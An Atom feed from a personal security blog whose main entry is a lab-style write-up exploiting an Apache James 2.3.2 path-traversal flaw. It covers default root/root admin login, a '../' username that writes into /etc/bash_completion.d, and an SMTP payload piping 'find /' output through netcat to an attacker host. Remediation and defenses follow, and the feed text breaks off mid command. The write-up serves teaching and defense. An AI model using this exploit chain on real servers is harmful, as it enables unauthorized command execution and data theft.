<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="4.3.4">Jekyll</generator><link href="https://crimsonglow.ca/~kjiwa/feed.xml" rel="self" type="application/atom+xml" /><link href="https://crimsonglow.ca/~kjiwa/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-07-23T17:35:54-07:00</updated><id>https://crimsonglow.ca/~kjiwa/feed.xml</id><title type="html">~kjiwa</title><subtitle>Notes on programming, systems, and security research.</subtitle><author><name>Kamil Jiwa</name></author><entry><title type="html">Software Job Search</title><link href="https://crimsonglow.ca/~kjiwa/2016/11/software-job-search.html" rel="alternate" type="text/html" title="Software Job Search" /><published>2016-11-08T00:00:00-08:00</published><updated>2016-11-08T00:00:00-08:00</updated><id>https://crimsonglow.ca/~kjiwa/2016/11/software-job-search</id><content type="html" xml:base="https://crimsonglow.ca/~kjiwa/2016/11/software-job-search.html"><![CDATA[<p>This is a presentation I delivered to students at South Seattle College on November 8, 2016. I described the application and interview processes at technology companies, introduced sample interview questions, and provided advice based on my own experiences.</p>

<div class="software-job-search-div">
  <iframe class="software-job-search-iframe" src="https://docs.google.com/presentation/d/e/2PACX-1vQ1m_TfD6LmX110euUYDvG3GaMQO8Wt9dF3ON5gSD9rhuYjlkIiF_1XKoD74yMpLp2OMylTP4QievbB/embed?start=false&amp;loop=false&amp;delayms=3000" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe>
</div>]]></content><author><name>Kamil Jiwa</name></author><summary type="html"><![CDATA[This is a presentation I delivered to students at South Seattle College on November 8, 2016. I described the application and interview processes at technology companies, introduced sample interview questions, and provided advice based on my own experiences.]]></summary></entry><entry><title type="html">Exploiting Apache James 2.3.2</title><link href="https://crimsonglow.ca/~kjiwa/2016/06/exploiting-apache-james-2.3.2.html" rel="alternate" type="text/html" title="Exploiting Apache James 2.3.2" /><published>2016-06-01T00:00:00-07:00</published><updated>2016-06-01T00:00:00-07:00</updated><id>https://crimsonglow.ca/~kjiwa/2016/06/exploiting-apache-james-2.3.2</id><content type="html" xml:base="https://crimsonglow.ca/~kjiwa/2016/06/exploiting-apache-james-2.3.2.html"><![CDATA[<h1 id="abstract">Abstract</h1>

<p>Apache James 2.3.2 is an email server containing a vulnerability that allows an attacker to execute arbitrary commands on the machine running the server. The vulnerability arises from an insecure default configuration and a lack of input validation in the server’s user creation mechanism; it allows an attacker to enqueue commands to execute when a user signs into the machine. Despite the vulnerability, a number of techniques can be employed to reduce the machine’s attack surface and mitigate the risk of a compromise.</p>

<h1 id="exploiting-apache-james-232">Exploiting Apache James 2.3.2</h1>

<p>Apache James is a mail and news server and software framework written in Java. A bug in version 2.3.2 enables an attacker to execute arbitrary commands on the machine running the server. To study the vulnerability in a safe and reproducible manner, we install the vulnerable software on a virtual machine (VM), a computer that is emulated by software. We analyze the server using software tools such as netcat, nmap, and telnet and craft a program that exploits the vulnerability and retrieves data from the VM. Several techniques exist to protect a machine running the vulnerable binary, including isolating the server from privileged resources and setting limitations on users with accounts on the machine. Though each technique varies in its individual effectiveness, combining the techniques produces a resulting configuration that makes the machine very difficult to compromise.</p>

<p>Apache James is highly configurable and can store data files in a variety of media, including disks and databases. Apache James exposes an administration console allowing privileged users to configure and manage the server and tweak its functions. By default, the server is configured to listen for email transactions on network port 25 and administration transactions on port 4555. User data is configured to be stored on the local hard disk.</p>

<p>Apache James allows other software systems to communicate with it through a computer network. Programs communicating over a network select a port, a number from 1 to 65535, and ask the operating system to direct network traffic from that port to the program. As a matter of policy, the Unix operating system reserves the first 1023 ports for use by privileged programs, those with access to protected files and resources. As such, software wishing to listen on those ports must be executed with additional privileges. One way a program can gain privilege is by executing as the root user. Since Apache James listens for email transactions on port 25, a privileged port, it must run as a privileged user like root, meaning it has access to the operating system’s sensitive resources. This level of access increases the potential impact of a security breach since a vulnerability in Apache James can affect the entire operating system.</p>

<p>Apache James typically stores that user’s data in a subdirectory relative to its installation directory, in “apps/james/var/users.” By default, the server creates a new subdirectory to store incoming and outgoing email for each user. Palaczynski (2014) discovered that this directory creation mechanism is susceptible to a vulnerability, enabling an attacker to execute arbitrary commands on the mail server machine. Palaczynski found that usernames are not sufficiently validated at the time of user creation, and prepending a series of the parent-directory symbol, “../,” causes the server to create a user directory outside of the installation directory. A username such as “../../../../../../../../etc/bash_completion.d” can lead to files being placed in “/etc/bash_completion.d,” a directory containing commands that execute when a user signs into the machine. By sending messages to this user, an attacker can execute commands that probe the mail server and retrieve data from it.</p>

<h2 id="method">Method</h2>

<h3 id="virtual-machine-setup">Virtual Machine Setup</h3>

<p>To study the vulnerability, an exploitable instance of the Apache James server must be available for to attack. A safe and convenient way to access an instance is to install it in a VM, a computer that is emulated in another software program called a hypervisor. By default, VMs are isolated from the host machine’s data; compromised VMs are restricted from accessing any of the attacker’s personal data. Furthermore, VM images are the medium of choice for distributing “capture-the-flag” (CTF) competitions, educational tools that challenge users to break into insecure machines. Finally, VM tools are abundant, with Oracle and VMWare each supporting free, high quality hypervisors. VMs’ safety and support make them desirable tools for our study.</p>

<h4 id="apache-james-installation">Apache James Installation</h4>

<p>We run Apache James 2.3.2 on a CentOS 7 deployment with the Bash-completion package installed. Bash-completion provides a rich set of extensions for programs to interact with the machine and is a common dependency among software programs. A local user is created with the username, “south,” and password, “ugr298,” and the Apache James server is downloaded, installed, and initialized (Figure 1). When the operating system boots, the server runs as the root user (Figure 2), exposes an SMTP server on port 25, and exposes an administration console on port 4555 (Figure 3).</p>

<div class="caption">Figure 1. Installing Apache James on CentOS 7. Commands run in a terminal to install Apache James and configure the firewall.</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">mail-server:~<span class="nv">$ </span><span class="nb">sudo </span>yum <span class="nb">install </span>bash-completion java-1.8.0-openjdk nmap-ncat
mail-server:~<span class="nv">$ </span>curl <span class="nt">-O</span> https://archive.apache.org/dist/james/server/apache-james-2.3.2.tar.gz
mail-server:~<span class="nv">$ </span><span class="nb">tar</span> <span class="nt">-xzf</span> apache-james-2.3.2.tar.gz
mail-server:~<span class="nv">$ </span><span class="nb">sudo cp</span> <span class="nt">-r</span> james-2.3.2 /opt
mail-server:~<span class="nv">$ </span><span class="nb">sudo chmod</span> +x /opt/james-2.3.2/bin/<span class="k">*</span>.sh
mail-server:~<span class="nv">$ </span><span class="nb">sudo </span>firewall-cmd <span class="nt">--zone</span><span class="o">=</span>public <span class="nt">--add-port</span><span class="o">=</span>25/tcp <span class="nt">--permanent</span>
mail-server:~<span class="nv">$ </span><span class="nb">sudo </span>firewall-cmd <span class="nt">--zone</span><span class="o">=</span>public <span class="nt">--add-port</span><span class="o">=</span>4555/tcp <span class="nt">--permanent</span></code></pre></figure>

<div class="caption">Figure 2. Contents of "/lib/systemd/system/james.service." The file defines a systemd service and contains directives instructing systemd about how to execute the server.</div>

<figure class="highlight"><pre><code class="language-cfg" data-lang="cfg">[Unit]
Description=Apache James Server 2.3.2

[Service]
Environment=JAVA_HOME=/usr/lib/jvm/jre
ExecStart=/opt/james-2.3.2/bin/run.sh

[Install]
WantedBy=multi-user.target</code></pre></figure>

<div class="caption">Figure 3. Instructing systemd to run Apache James at startup. Systemctl provides us with a command-line tool to configure systemd.</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">mail-server:~<span class="nv">$ </span><span class="nb">sudo </span>systemctl <span class="nb">enable </span>james
mail-server:~<span class="nv">$ </span><span class="nb">sudo </span>systemctl disable postfix</code></pre></figure>

<h4 id="flag-creation">Flag Creation</h4>

<p>In the spirit of a CTF competition, the phrase “Congratulations” is encoded in base64 and stored in a file “/opt/flag.txt” (Figure 4).</p>

<div class="caption">Figure 4. Creating a flag. The phrase, "Congratulations," is encoded in base64 and saved in the file "/opt/flag.txt".</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">mail-server:~<span class="nv">$ </span><span class="nb">echo </span>Congratulations | <span class="nb">base64</span> | <span class="nb">sudo dd </span><span class="nv">of</span><span class="o">=</span>/opt/flag.txt</code></pre></figure>

<h4 id="virtual-machine-export">Virtual Machine Export</h4>

<p>To prepare the VM for export, we clear the command history and remove temporary files, such as “apache-james-2.3.2.tar.gz,” from the filesystem (Figure 5). The Open Virtualization Format (OVF) specification is a convenient output format for the VM since VirtualBox and VMWare products support import and export of images created in this format. VirtualBox users may use VBoxManage (Figure 6) and VMWare users may use OVFTool (Figure 7) to manage creation and use of OVF images. The result is a redistributable VM image that can be used to study the vulnerability.</p>

<div class="caption">Figure 5. Preparing the VM for export. Temporary files and command history are removed to provide the challenger with a clean environment.</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">mail-server:~<span class="nv">$ </span><span class="nb">rm</span> <span class="nt">-r</span> apache-james-2.3.2.tar.gz james-2.3.2
mail-server:~<span class="nv">$ </span><span class="nb">sudo </span>yum clean all
mail-server:~<span class="nv">$ </span><span class="nb">rm</span> .bash_history
mail-server:~<span class="nv">$ </span><span class="nb">history</span> <span class="nt">-c</span></code></pre></figure>

<div class="caption">Figure 6. Exporting a VirtualBox image with VBoxManage. VMBoxManage converts a VirtualBox image into an Open Virtualization Format image.</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">hypervisor:~<span class="nv">$ </span>VBoxManage <span class="nb">export </span>apache-james-ctf <span class="nt">-o</span> apache-james-ctf.ova</code></pre></figure>

<div class="caption">Figure 7. Exporting a VMWare image with OVFTool. OVFTool converts a VMWare image into an Open Virtualization Format file.</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">hypervisor:~<span class="nv">$ </span>ovftool apache-james-ctf.vmx apache-james-ctf.ova</code></pre></figure>

<h2 id="results">Results</h2>

<h3 id="virtual-machine-exploitation">Virtual Machine Exploitation</h3>

<p>To exploit the Apache James server and retrieve the flag, an attacker must gain access to the administration console, create a user that stores files in “/etc/bash_completion.d,” and enqueue commands that scan the system and retrieve the flag. The command output is transmitted to the attacker once an attacker signs in.</p>

<h4 id="scan-open-ports">Scan Open Ports</h4>

<p>Scanning the VM with nmap reveals that ports 25 and 4555 are open (Figure 8). Port 25 is registered as the default SMTP port, giving us a hint that an email server may be running on this machine. A custom program or a telnet session can establish a connection to the machine to learn more about the services running on those ports. Fortunately for attackers, Apache James prints a status message identifying itself and its version number when new connections are made. Connections to port 25 produce the message, “JAMES SMTP Server 2.3.2” (Figure 9), and connections to port 4555 produce the message, “JAMES Remote Administration Tool 2.3.2” (Figure 10). These messages tell us the server is vulnerable and its administration console is exposed.</p>

<div class="caption">Figure 8. Scanning for open ports with nmap. The scan reveals port 25 and 4555 are accepting connections.</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">attacker:~<span class="nv">$ </span>nmap <span class="nt">-p-</span> mail-server

Starting Nmap 7.12 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2016-05-29 20:34 PDT
Nmap scan report <span class="k">for </span>mail-server
Host is up <span class="o">(</span>0.018s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 65533 closed ports
PORT     STATE SERVICE
25/tcp   open  smtp
4555/tcp open  rsip

Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>5.17 seconds</code></pre></figure>

<div class="caption">Figure 9. Establishing a telnet session to the Apache James SMTP interface. The server identifies itself as, "JAMES SMTP SERVER 2.3.2."</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">attacker:~<span class="nv">$ </span>telnet mail-server 25
Trying mail-server...
Connected to mail-server.
Escape character is <span class="s1">'^]'</span><span class="nb">.</span>
220 mail-server SMTP Server <span class="o">(</span>JAMES SMTP Server 2.3.2<span class="o">)</span> ready Sun, 29 May 2016 23:40:41 <span class="nt">-0400</span> <span class="o">(</span>EDT<span class="o">)</span></code></pre></figure>

<div class="caption">Figure 10. Establishing a telnet session to the Apache James remote administration interface. The server identifies itself as "JAMES Remote Administration Tool 2.3.2."</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">attacker:~<span class="nv">$ </span>telnet mail-server 4555
Trying mail-server...
Connected to mail-server.
Escape character is <span class="s1">'^]'</span><span class="nb">.</span>
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login <span class="nb">id</span>:</code></pre></figure>

<h4 id="create-an-exploitable-user">Create an Exploitable User</h4>

<p>By default, the Apache James administrator has the same username and password, “root.” Using these credentials gives us access to the administration console, where we can create new users with the “adduser” command (Figure 11). The format of the command is “adduser <username> <password>," where "<username>" represents the username to be created, and "<password>" represents the user's password. To gain the ability to put files in "/etc/bash_completion.d," we create a mail user with the username "../../../../../../../../etc/bash_completion.d" with the command "adduser ../../../../../../../../etc/bash_completion.d exploit" (Figure 12). To verify the user's data was created, sign in to the VM and list the contents of "/etc/bash_completion.d."</password></username></password></username></p>

<div class="caption">Figure 11. Gaining access to the administration console. Apache James configures a default administrator with the same username and password, "root."</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login <span class="nb">id</span>:
root
Password:
root
Welcome root. HELP <span class="k">for </span>a list of commands</code></pre></figure>

<div class="caption">Figure 12. Creating an exploitable user. The user's data directory will be in "/etc/bash_completion.d."</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login <span class="nb">id</span>:
root
Password:
root
Welcome root. HELP <span class="k">for </span>a list of commands
adduser ../../../../../../../../etc/bash_completion.d password
User ../../../../../../../../etc/bash_completion.d added</code></pre></figure>

<h4 id="scan-the-filesystem">Scan the Filesystem</h4>

<p>To capture the flag, we first issue commands to scan the machine’s filesystem and output the contents of the flag:</p>

<ol>
  <li>“find / -type f;” and,</li>
  <li>“cat /opt/flag.txt.”</li>
</ol>

<p>The first command, “find / -type f,” produces a list of all files on the machine. The file list tells us the location of the flag, “/opt/flag.txt.” The second command, “cat /opt/flag.txt,” outputs the contents of the flag. In practice, an attacker will need to wait for a user to sign into the machine before seeing the results from each command. With a VM, we have the liberty of signing in on demand.</p>

<p>Various techniques can be used to capture the output from these commands, including uploading the contents to remote storage, transmitting them via mail, or streaming them to a remote server. A simple technique we use exposes a TCP server on the attacker’s machine with netcat; commands executed on the mail server are streamed to the attacker’s TCP server (Figure 13). Commands will have the form “find / -type f | nc attacker <port>," where "<port>" represents the port on which the TCP server is listening for requests on the attacker's machine (Figure 14). The portion of the command invoking netcat streams output to the attacker.</port></port></p>

<div class="caption">Figure 13. Using netcat to listen for incoming TCP connections. Netcat listens on port 3333 and appends received data to the file "out."</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">attacker:~<span class="nv">$ </span>nc <span class="nt">-kl</span> 3333 <span class="nt">-o</span> out</code></pre></figure>

<div class="caption">Figure 14. An attack payload containing a command that executes when a user signs in. The command produces a list of all files on the machine and sends them to the attacker's machine over TCP port 3333.</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">MAIL FROM: &lt;<span class="s1">'you@domain.com&gt;
RCPT TO: ../../../../../../../../etc/bash_completion.d
DATA
From: you@domain.com
'</span>
find / <span class="nt">-type</span> f | nc attacker 3333
<span class="nb">.</span>
QUIT</code></pre></figure>

<p>After an attack, when a user signs into the mail server, the commands in “/etc/bash_completion.d” execute and transmit the flag contents, “Q29uZ3JhdHVsYXRpb25zCg==,” to the attacker’s TCP server. An inspection indicates this text is encoded in base64; decoding it yields the message, “Congratulations” (Figure 15).</p>

<div class="caption">Figure 15. Decoding the flag. The content is encoded in base64.</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">attacker:~<span class="nv">$ </span><span class="nb">base64</span> <span class="nt">-d</span> flag.txt
Congratulations</code></pre></figure>

<h2 id="discussion">Discussion</h2>

<h3 id="root-cause">Root Cause</h3>

<p>An update, Apache 2.3.2.1, was released to address the vulnerability. Comparing the source code between 2.3.2 and 2.3.2.1 shows the bug stems from the file, “src/java/org/apache/james/userrepository/UsersFileRepository.java.” The fix adds a validation step that checks for partial RFC 3696 conformance, ensuring that characters such as “.” and “/” cannot be used in a username (Figure 16). The fix highlights the importance of input validation and its consequences when it is forgotten. It reminds us that while maintaining up-to-date software is important, critical issues may remain unnoticed for many years.</p>

<div class="caption">Figure 16. Input validation added to "src/java/org/apache/james/userrepository/UsersFileRepository.java." The validation checks for partial conformance to RFC 3696 and restricts the use of characters such as "." and "/" from use in usernames.</div>

<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="cm">/**
 * Validate the passed &lt;code&gt;User&lt;/code&gt;.
 *
 * &lt;p&gt;
 * Enforces partial RFC 3696 compliance and a file system 'jail' such that only
 * user names that will result in a file that is a child of the configured
 * directory for the repository pass validation.
 *
 * @see org.apache.james.userrepository.UsersFileRepositoryTest
 *
 * @param user
 * @throws UsersFileRepositoryException
 */</span>
<span class="kd">protected</span> <span class="kt">void</span> <span class="nf">validateUser</span><span class="o">(</span><span class="kd">final</span> <span class="nc">User</span> <span class="n">user</span><span class="o">)</span>
    <span class="kd">throws</span> <span class="nc">UsersFileRepositoryException</span> <span class="o">{</span>
  <span class="c1">// "." is never allowed as a starting character. It is neither RFC 3696</span>
  <span class="c1">// compliant or safe</span>
  <span class="k">if</span> <span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getUserName</span><span class="o">().</span><span class="na">startsWith</span><span class="o">(</span><span class="s">"."</span><span class="o">))</span> <span class="o">{</span>
    <span class="nc">UsersFileRepositoryException</span> <span class="n">ex</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">UsersFileRepositoryException</span><span class="o">(</span>
        <span class="s">"User name \""</span> <span class="o">+</span> <span class="n">user</span><span class="o">.</span><span class="na">getUserName</span><span class="o">()</span> <span class="o">+</span> <span class="s">"\" starts with \".\""</span><span class="o">);</span>
    <span class="n">getLogger</span><span class="o">().</span><span class="na">error</span><span class="o">(</span><span class="s">"User name validation failure"</span><span class="o">,</span> <span class="n">ex</span><span class="o">);</span>
    <span class="k">throw</span> <span class="n">ex</span><span class="o">;</span>
  <span class="o">}</span>

  <span class="c1">// "." is never allowed as an ending character. It is neither RFC 3696</span>
  <span class="c1">// compliant or safe</span>
  <span class="k">if</span> <span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getUserName</span><span class="o">().</span><span class="na">endsWith</span><span class="o">(</span><span class="s">"."</span><span class="o">))</span> <span class="o">{</span>
    <span class="nc">UsersFileRepositoryException</span> <span class="n">ex</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">UsersFileRepositoryException</span><span class="o">(</span>
        <span class="s">"User name \""</span> <span class="o">+</span> <span class="n">user</span><span class="o">.</span><span class="na">getUserName</span><span class="o">()</span> <span class="o">+</span> <span class="s">"\" ends with \".\""</span><span class="o">);</span>
    <span class="n">getLogger</span><span class="o">().</span><span class="na">error</span><span class="o">(</span><span class="s">"User name validation failure"</span><span class="o">,</span> <span class="n">ex</span><span class="o">);</span>
    <span class="k">throw</span> <span class="n">ex</span><span class="o">;</span>
  <span class="o">}</span>

  <span class="c1">// A sequence of two or more "." is never allowed. It is neither RFC 3696</span>
  <span class="c1">// compliant or safe</span>
  <span class="k">if</span> <span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getUserName</span><span class="o">().</span><span class="na">contains</span><span class="o">(</span><span class="s">".."</span><span class="o">))</span> <span class="o">{</span>
    <span class="nc">UsersFileRepositoryException</span> <span class="n">ex</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">UsersFileRepositoryException</span><span class="o">(</span>
        <span class="s">"User name \""</span> <span class="o">+</span> <span class="n">user</span><span class="o">.</span><span class="na">getUserName</span><span class="o">()</span> <span class="o">+</span> <span class="s">"\" contains \"..\""</span><span class="o">);</span>
    <span class="n">getLogger</span><span class="o">().</span><span class="na">error</span><span class="o">(</span><span class="s">"User name validation failure"</span><span class="o">,</span> <span class="n">ex</span><span class="o">);</span>
    <span class="k">throw</span> <span class="n">ex</span><span class="o">;</span>
  <span class="o">}</span>

  <span class="c1">// Absolute path conversion discards the trailing file separator so "X" and</span>
  <span class="c1">// "X/" resolve to the same path potentially resulting in conflicts</span>
  <span class="k">if</span> <span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getUserName</span><span class="o">().</span><span class="na">endsWith</span><span class="o">(</span><span class="nc">File</span><span class="o">.</span><span class="na">separator</span><span class="o">))</span> <span class="o">{</span>
    <span class="nc">UsersFileRepositoryException</span> <span class="n">ex</span> <span class="o">=</span>
        <span class="k">new</span> <span class="nf">UsersFileRepositoryException</span><span class="o">(</span><span class="s">"User name \""</span> <span class="o">+</span> <span class="n">user</span><span class="o">.</span><span class="na">getUserName</span><span class="o">()</span>
                                        <span class="o">+</span> <span class="s">"\" ends with a file name separator"</span><span class="o">);</span>
    <span class="n">getLogger</span><span class="o">().</span><span class="na">error</span><span class="o">(</span><span class="s">"User name validation failure"</span><span class="o">,</span> <span class="n">ex</span><span class="o">);</span>
    <span class="k">throw</span> <span class="n">ex</span><span class="o">;</span>
  <span class="o">}</span>

  <span class="c1">// Canonical paths derived from the user name must be children of the</span>
  <span class="c1">// configured destination</span>
  <span class="k">try</span> <span class="o">{</span>
    <span class="nc">File</span> <span class="n">targetCanonicalFile</span> <span class="o">=</span>
        <span class="k">new</span> <span class="nf">File</span><span class="o">(</span><span class="n">destinationCanonicalFile</span><span class="o">,</span> <span class="n">user</span><span class="o">.</span><span class="na">getUserName</span><span class="o">())</span>
            <span class="o">.</span><span class="na">getCanonicalFile</span><span class="o">();</span>
    <span class="kt">boolean</span> <span class="n">isChild</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
    <span class="nc">File</span> <span class="n">targetParentCanonicalFile</span> <span class="o">=</span>
        <span class="n">targetCanonicalFile</span><span class="o">.</span><span class="na">getParentFile</span><span class="o">().</span><span class="na">getCanonicalFile</span><span class="o">();</span>
    <span class="k">while</span> <span class="o">(!</span><span class="n">isChild</span> <span class="o">&amp;&amp;</span> <span class="kc">null</span> <span class="o">!=</span> <span class="n">targetParentCanonicalFile</span><span class="o">)</span> <span class="o">{</span>
      <span class="n">isChild</span> <span class="o">=</span> <span class="n">destinationCanonicalFile</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">targetParentCanonicalFile</span><span class="o">);</span>
      <span class="n">targetParentCanonicalFile</span> <span class="o">=</span>
          <span class="n">targetParentCanonicalFile</span><span class="o">.</span><span class="na">getParentFile</span><span class="o">().</span><span class="na">getCanonicalFile</span><span class="o">();</span>
    <span class="o">}</span>
    <span class="k">if</span> <span class="o">(!</span><span class="n">isChild</span><span class="o">)</span> <span class="o">{</span>
      <span class="nc">UsersFileRepositoryException</span> <span class="n">ex</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">UsersFileRepositoryException</span><span class="o">(</span>
          <span class="s">"The canonical path \""</span> <span class="o">+</span> <span class="n">targetCanonicalFile</span> <span class="o">+</span>
          <span class="s">"\" for user name \""</span> <span class="o">+</span> <span class="n">user</span><span class="o">.</span><span class="na">getUserName</span><span class="o">()</span> <span class="o">+</span>
          <span class="s">"\" is invalid. The resultant path is not a child of \""</span> <span class="o">+</span>
          <span class="n">destinationCanonicalFile</span> <span class="o">+</span> <span class="s">"\""</span><span class="o">);</span>
      <span class="n">getLogger</span><span class="o">().</span><span class="na">error</span><span class="o">(</span><span class="s">"User name validation failure"</span><span class="o">,</span> <span class="n">ex</span><span class="o">);</span>
      <span class="k">throw</span> <span class="n">ex</span><span class="o">;</span>
    <span class="o">}</span> <span class="k">else</span> <span class="k">if</span> <span class="o">(</span><span class="n">getLogger</span><span class="o">().</span><span class="na">isDebugEnabled</span><span class="o">())</span> <span class="o">{</span>
      <span class="n">getLogger</span><span class="o">().</span><span class="na">debug</span><span class="o">(</span><span class="s">"The canonical path \""</span> <span class="o">+</span> <span class="n">targetCanonicalFile</span> <span class="o">+</span>
                        <span class="s">"\" for user name \""</span> <span class="o">+</span> <span class="n">user</span><span class="o">.</span><span class="na">getUserName</span><span class="o">()</span> <span class="o">+</span>
                        <span class="s">"\" is valid. The resultant path is a child of \""</span> <span class="o">+</span>
                        <span class="n">destinationCanonicalFile</span> <span class="o">+</span> <span class="s">"\""</span><span class="o">);</span>
    <span class="o">}</span>
  <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
    <span class="k">throw</span> <span class="k">new</span> <span class="nf">UsersFileRepositoryException</span><span class="o">(</span><span class="n">e</span><span class="o">);</span>
  <span class="o">}</span>
<span class="o">}</span></code></pre></figure>

<h3 id="defense">Defense</h3>

<p>The VM can be protected with a combination of techniques that isolate the server from system resources and restrict access to the machine. When used together, they can provide more than adequate protection despite the presence of a software bug.</p>

<h4 id="change-the-root-password">Change the Root Password</h4>

<p>The root password can be set through the administration console (Figure 17). Changing the password makes an attack more time-consuming by increasing the effort required to gain access.</p>

<div class="caption">Figure 17. Changing the Apache James root password. Changing the password from the default causes the attacker more effort to gain access to the administration console.</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">mail-server:~<span class="nv">$ </span>telnet localhost 4555
Connected to 10.32.1.116.
Escape character is <span class="s1">'^]'</span><span class="nb">.</span>
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login <span class="nb">id</span>:
root
Password:
root
Welcome root. HELP <span class="k">for </span>a list of commands
setpassword root thisisthenewrootpassword</code></pre></figure>

<h4 id="restrict-access-to-the-administration-console">Restrict Access to the Administration Console</h4>

<p>To limit the attack surface, the administration console should only be accessible from the local machine or from a whitelist of IP ranges, such as those on an internal network (Figure 18). These restrictions are effective because they require the attacker to devise an alternate means of accessing the machine.</p>

<div class="caption">Figure 18. Restricting access to the administration console. The firewall is configured to block remote connections to port 4555.</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">mail-server:~<span class="nv">$ </span><span class="nb">sudo </span>firewall-cmd <span class="nt">--zone</span><span class="o">=</span>public <span class="nt">--remove-port</span><span class="o">=</span>4555/tcp <span class="nt">--permanent</span></code></pre></figure>

<h4 id="uninstall-bash-completion">Uninstall Bash-Completion</h4>

<p>The vulnerability cannot be exploited as described without the presence of Bash-completion on the mail server machine. Though there are other executable paths on the system, e.g. “/etc/rc.d,” removing Bash-completion decreases an attacker’s options and increases the effort required to exploit the machine (Figure 19).</p>

<div class="caption">Figure 19. Removing the Bash-completion package. The package manager is invoked to uninstall the package.</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">mail-server:~<span class="nv">$ </span><span class="nb">sudo </span>yum remove bash-completion</code></pre></figure>

<h4 id="run-the-server-as-an-unprivileged-user">Run the Server as an Unprivileged User</h4>

<p>Running the server as an unprivileged user is the most effective of the techniques described here. The default configuration lends the server to run as the root user due to the need to bind to port 25, a privileged port. Choosing a port above 1023 removes this restriction and allows us to run the server as an unprivileged user (Figures 20 and 21) and on an unprivileged port (Figure 22). To continue serving SMTP requests on port 25, the firewall can forward requests to the new, unprivileged port (Figure 23). In this mode, the server is limited in its use of system resources. An attacker trying to create an exploitable user will fail because the server can no longer alter the contents of “/etc/bash_completion.d.”</p>

<div class="caption">Figure 20. Adding an unprivileged user. The "james" user will be used by systemd to execute the binary.</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">mail-server:~<span class="nv">$ </span><span class="nb">sudo </span>useradd <span class="nt">-m</span> james
mail-server:~<span class="nv">$ </span><span class="nb">sudo chown</span> <span class="nt">-R</span> james:james /opt/james-2.3.2/<span class="o">{</span>apps,logs,work<span class="o">}</span></code></pre></figure>

<div class="caption">Figure 21. Changing the user used to run Apache James. Systemd will execute the server as the user "james" instead of as root.</div>

<figure class="highlight"><pre><code class="language-cfg" data-lang="cfg">[Unit]
Description=Apache James 2.3.2

[Service]
Environment=JAVA_HOME=/usr/lib/jvm/jre
ExecStart=/opt/james-2.3.2/bin/run.sh
User=james

[Install]
WantedBy=multi-user.target</code></pre></figure>

<div class="caption">Figure 22. Changing the port on which the server listens for connections. Ports above 1023 do not require users with root privileges.</div>

<figure class="highlight"><pre><code class="language-xml" data-lang="xml"><span class="nt">&lt;nntpserver</span> <span class="na">enabled=</span><span class="s">"true"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;port&gt;</span>3119<span class="nt">&lt;/port&gt;</span>
<span class="nt">&lt;/nntpserver&gt;</span>

<span class="nt">&lt;pop3server</span> <span class="na">enabled=</span><span class="s">"true"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;port&gt;</span>3110<span class="nt">&lt;/port&gt;</span>
<span class="nt">&lt;/pop3server&gt;</span>

<span class="nt">&lt;smtpserver</span> <span class="na">enabled=</span><span class="s">"true"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;port&gt;</span>3325<span class="nt">&lt;/port&gt;</span>
<span class="nt">&lt;/smtpserver&gt;</span></code></pre></figure>

<div class="caption">Figure 23. Forwarding SMTP requests to the Apache James server. The firewall forwards requests from port 25 to port 3325, where the server is listening.</div>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash">mail-server:~<span class="nv">$ </span><span class="nb">sudo </span>firewall-cmd <span class="nt">--zone</span><span class="o">=</span>public <span class="nt">--remove-port</span><span class="o">=</span>25/tcp <span class="nt">--permanent</span>
mail-server:~<span class="nv">$ </span><span class="nb">sudo </span>firewall-cmd <span class="nt">--zone</span><span class="o">=</span>public <span class="nt">--add-masquerade</span> <span class="nt">--permanent</span>
mail-server:~<span class="nv">$ </span><span class="nb">sudo </span>firewall-cmd <span class="se">\</span>
    <span class="nt">--zone</span><span class="o">=</span>public <span class="se">\</span>
